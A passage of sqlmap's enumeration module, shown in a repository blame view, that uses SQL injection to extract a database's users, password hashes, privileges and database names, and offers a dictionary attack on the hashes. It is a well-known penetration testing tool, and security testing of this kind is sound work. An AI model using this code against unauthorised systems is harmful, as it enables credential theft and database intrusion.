sqlmap/plugins/generic/enumeration.py

2113 lines
84 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
2010-09-30 16:35:45 +04:00
import time
2008-10-15 19:38:22 +04:00
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
2010-09-30 16:35:45 +04:00
from lib.core.common import dataToStdout
2008-10-15 19:38:22 +04:00
from lib.core.common import getRange
2010-08-31 18:31:17 +04:00
from lib.core.common import getCompiledRegex
2010-09-30 16:35:45 +04:00
from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems
from lib.core.common import Backend
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue
2010-12-18 18:57:47 +03:00
from lib.core.common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib.core.common import parsePasswordHash
from lib.core.common import parseSqliteTableSchema
2010-09-30 16:35:45 +04:00
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeStringFormat
from lib.core.common import strToHex
from lib.core.common import unArrayizeValue
from lib.core.convert import utf8decode
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
2010-09-30 23:45:23 +04:00
from lib.core.data import paths
2008-10-15 19:38:22 +04:00
from lib.core.data import queries
2011-02-19 17:07:08 +03:00
from lib.core.dicts import firebirdTypes
2011-03-09 14:37:37 +03:00
from lib.core.dicts import mysqlPrivs
from lib.core.dicts import pgsqlPrivs
from lib.core.dicts import firebirdPrivs
from lib.core.enums import DBMS
2010-12-10 16:04:36 +03:00
from lib.core.enums import EXPECTED
2010-12-18 18:57:47 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
2008-10-15 19:38:22 +04:00
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
2010-09-30 23:45:23 +04:00
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs
from lib.core.settings import CONCAT_ROW_DELIMITER
from lib.core.settings import CONCAT_VALUE_DELIMITER
2011-03-27 11:58:15 +04:00
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import SQL_STATEMENTS
2008-10-15 19:38:22 +04:00
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
2011-01-07 19:39:47 +03:00
from lib.core.threads import getCurrentThreadData
from lib.parse.banner import bannerParser
2008-10-15 19:38:22 +04:00
from lib.request import inject
2010-09-30 16:35:45 +04:00
from lib.request.connect import Connect as Request
from lib.techniques.brute.use import columnExists
2010-11-09 12:42:43 +03:00
from lib.techniques.brute.use import tableExists
from lib.utils.hash import attackDumpedTable
from lib.utils.hash import attackCachedUsersPasswords
2008-10-15 19:38:22 +04:00
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self):
kb.data.has_information_schema = False
2010-12-27 19:36:05 +03:00
kb.data.banner = None
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
kb.data.processChar = None
self.alwaysRetrieveSqlOutput = False
2008-10-15 19:38:22 +04:00
def getBanner(self):
if not conf.getBanner:
return
2010-12-27 19:55:27 +03:00
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
2010-03-04 17:23:52 +03:00
query = queries[Backend.getIdentifiedDbms()].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query))
bannerParser(kb.data.banner)
2010-12-27 19:55:27 +03:00
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
2010-12-27 19:55:27 +03:00
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
2008-10-15 19:38:22 +04:00
2010-12-27 19:55:27 +03:00
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
2008-10-15 19:38:22 +04:00
2011-01-02 11:01:01 +03:00
if conf.os:
setOs()
return kb.data.banner
2008-10-15 19:38:22 +04:00
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_user.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentUser:
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
2008-10-15 19:38:22 +04:00
return kb.data.currentUser
2008-10-15 19:38:22 +04:00
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_db.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentDb:
kb.data.currentDb = unArrayizeValue(inject.getValue(query))
2008-10-15 19:38:22 +04:00
return kb.data.currentDb
2008-10-15 19:38:22 +04:00
def isDba(self, user=None):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
self.getCurrentUser()
query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
2011-02-20 20:28:06 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
else:
query = queries[Backend.getIdentifiedDbms()].is_dba.query
query = agent.forgeCaseStatement(query)
isDba = inject.getValue(query, charsetType=1)
if user is None:
kb.data.isDba = unArrayizeValue(isDba)
return isDba == "1"
2008-10-15 19:38:22 +04:00
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].users
2008-10-15 19:38:22 +04:00
condition = ( Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")) )
condition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema )
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if value:
kb.data.cachedUsers = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % index
user = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if user:
kb.data.cachedUsers.append(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2008-10-15 19:38:22 +04:00
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
query += " WHERE %s = '%s'" % (condition, conf.user)
2011-02-20 15:07:32 +03:00
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=False)
if retVal:
for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]):
password = "0x%s" % strToHex(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if value:
for user, password in value:
if not user or user == " ":
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
password = parsePasswordHash(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords and not conf.direct:
2008-10-15 19:38:22 +04:00
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(kb.data.cachedUsers):
2008-10-15 19:38:22 +04:00
users = self.getUsers()
else:
users = kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
2011-02-20 15:07:32 +03:00
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = True
2011-02-20 15:07:32 +03:00
randStr = randomStr()
query = rootQuery.inband.query
2011-02-20 19:00:13 +03:00
2011-02-20 15:07:32 +03:00
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=True)
2011-02-20 19:00:13 +03:00
2011-02-20 15:07:32 +03:00
if retVal:
for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]):
password = "0x%s" % strToHex(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = False
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
else:
retrievedUsers = set()
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
for user in users:
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if parsedUser:
user = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not user or user in retrievedUsers:
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
2011-02-20 19:00:13 +03:00
passwords = []
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
2008-10-15 19:38:22 +04:00
else:
2011-02-20 19:00:13 +03:00
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.MSSQL:
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False, error=False)
password = parsePasswordHash(password)
passwords.append(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
retrievedUsers.add(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
message = "do you want to use dictionary attack on retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
2008-10-15 19:38:22 +04:00
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
dbaCondition = ( Backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges )
2008-10-15 19:38:22 +04:00
# In Oracle the DBA privilege means that the
# user is DBA
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.ORACLE and "DBA" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
2008-10-15 19:38:22 +04:00
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
dbaCondition |= ( Backend.getIdentifiedDbms() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
2008-10-15 19:38:22 +04:00
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
# Set containing the list of DBMS administrators
areAdmins = set()
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
2008-10-15 19:38:22 +04:00
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False)
if not values and Backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
if values:
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.getIdentifiedDbms() == DBMS.PGSQL and getUnicode(privilege).isdigit():
2011-03-09 15:06:32 +03:00
if int(privilege) == 1:
privileges.add(pgsqlPrivs[count])
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.getIdentifiedDbms() == DBMS.ORACLE or ( Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2011-03-09 15:06:32 +03:00
if privilege.upper() == "Y":
privileges.add(mysqlPrivs[count])
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPrivileges and not conf.direct:
conditionChar = "="
2008-10-15 19:38:22 +04:00
if conf.user:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
users = set()
for user in conf.user.split(","):
users.add("%" + user + "%")
else:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ]
2008-10-15 19:38:22 +04:00
else:
users = conf.user.split(",")
2008-10-15 19:38:22 +04:00
else:
if not len(kb.data.cachedUsers):
2008-10-15 19:38:22 +04:00
users = self.getUsers()
else:
users = kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
retrievedUsers = set()
for user in users:
unescapedUser = None
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
2008-10-15 19:38:22 +04:00
2011-01-31 00:01:57 +03:00
if not user or user in retrievedUsers:
2008-10-15 19:38:22 +04:00
continue
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if unescapedUser:
queryUser = unescapedUser
2008-10-15 19:38:22 +04:00
else:
queryUser = user
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % queryUser
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, queryUser)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.blind.count2 % queryUser
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count % queryUser
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and Backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
privileges = set()
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (queryUser, index)
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, queryUser, index)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.blind.query2 % (queryUser, index)
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, queryUser)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (queryUser, index)
privilege = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.getIdentifiedDbms() == DBMS.PGSQL and ", " in privilege:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.getIdentifiedDbms() == DBMS.ORACLE or ( Backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
privileges.add(firebirdPrivs[privilege.strip()])
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
break
2008-10-15 19:38:22 +04:00
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( kb.data.cachedUsersPrivileges, areAdmins )
2008-10-15 19:38:22 +04:00
def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
warnMsg += "exist. sqlmap will enumerate privileges instead"
2010-03-26 23:45:22 +03:00
logger.warn(warnMsg)
return self.getPrivileges(query2)
2008-10-15 19:38:22 +04:00
def getDbs(self):
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
2008-10-26 20:00:07 +03:00
warnMsg += "names will be fetched from 'mysql' database"
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if value:
kb.data.cachedDbs = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True
2008-10-15 19:38:22 +04:00
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if db:
kb.data.cachedDbs.append(db)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
2008-10-15 19:38:22 +04:00
return kb.data.cachedDbs
2008-10-15 19:38:22 +04:00
def getTables(self, bruteForce=None):
self.forceDbmsEnum()
if bruteForce is None:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
try:
tables = self.getTables(False)
except sqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
2010-10-29 13:00:51 +04:00
conf.db = self.__safeSQLIdentificatorNaming(conf.db)
2010-11-02 14:06:47 +03:00
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if not kb.data.cachedTables.has_key(conf.db):
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
2010-09-30 23:45:23 +04:00
message = "do you want to use common table existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
2010-10-29 13:00:51 +04:00
else:
2010-11-09 12:42:43 +03:00
return tableExists(paths.COMMON_TABLES)
2008-10-15 19:38:22 +04:00
infoMsg = "fetching tables"
2008-10-15 19:38:22 +04:00
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].tables
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
2010-12-22 14:46:18 +03:00
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if condition:
if conf.db and Backend.getIdentifiedDbms() != DBMS.SQLITE:
2010-12-22 14:46:18 +03:00
if "," in conf.db:
dbs = conf.db.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
else:
